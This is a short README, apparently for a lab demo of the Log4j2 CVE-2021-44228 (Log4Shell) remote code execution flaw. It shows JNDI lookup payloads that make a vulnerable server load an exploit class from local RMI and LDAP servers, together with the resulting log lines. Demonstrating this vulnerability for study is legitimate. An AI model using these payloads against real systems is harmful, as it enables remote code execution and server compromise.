
Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP
An example of remotely injecting code via RMI and LDAP using CVE-2021-44228.

Exploit class from RMI Server loaded
Hello, ${jndi:rmi://127.0.0.1:1099/exploit}
Exploit class from LDAP Server loaded
Hello, ${jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit}
RmiServer and LdapServer startup depend on Python3.